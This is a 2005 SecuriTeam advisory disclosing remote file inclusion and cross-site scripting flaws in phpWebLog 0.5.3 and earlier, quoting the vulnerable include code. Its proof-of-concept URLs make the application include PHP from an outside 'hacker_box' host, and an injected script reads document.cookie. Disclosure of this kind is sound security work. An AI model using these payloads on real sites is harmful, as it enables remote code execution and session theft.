[UNIX] Multiple Vulnerabilities in phpWebLog (Cross Site Scripting, File Inclusion)

From: SecuriTeam (support_at_securiteam.com)
Date: 03/17/05

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Date: 17 Mar 2005 10:13:07 +0200

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      Multiple Vulnerabilities in phpWebLog (Cross Site Scripting, File
    Inclusion)
    ------------------------------------------------------------------------

    SUMMARY

     <http://phpweblog.org/> phpWebLog is "a news and content management
    system written in PHP".

    The phpWebLog has been found to contain multiple vulnerabilities allowing
    a remote attacker to initiate cross site scripting attacks and cause the
    inclusion and execution of external PHP scripts.

    DETAILS

    Vulnerable Systems:
     * phpWebLog version 0.5.3 and prior

    File Inclusion:
    Vulnerable code in include/init.inc.php::
    ..
    include_once("$G_PATH/include/func.inc.php");
    include_once("$G_PATH/include/cache.inc.php");
    include_once("$G_PATH/include/blocks.inc.php");
    include_once("$G_PATH/include/layout.inc.php");
    include_once("$G_PATH/include/parser.inc.php");
    include_once("$G_PATH/include/search.inc.php");
    include_once("$G_PATH/include/comments.inc.php");
    ...

    Vulnerable code in backend/addons/links/index.php:
    # Original links code written by Twyst (http://anime-central.net)
    # Modified for use with phpWebLog by Jason Hines
    # Thanks Twyst!

    include_once($PATH . "/functions.php");
    ...

    Proof of Concept:
    If register_globals=on and allow_url_fopen=on the following URLs will
    include external PHP files that reside on the host hacker_box:
        http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
        
    http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/

    Cross Site Scripting:
    The search option does not sanitize the search content allowing attackers
    to steal information from users via cross site scripting.

    Exploit:
    The following URL can be used to test your system for the mentioned
    vulnerability:
    http://vulnerable/search.php?query=we+%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&topic=0&limit=30

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:groszynskif@gmail.com> Filip
    Groszynski.

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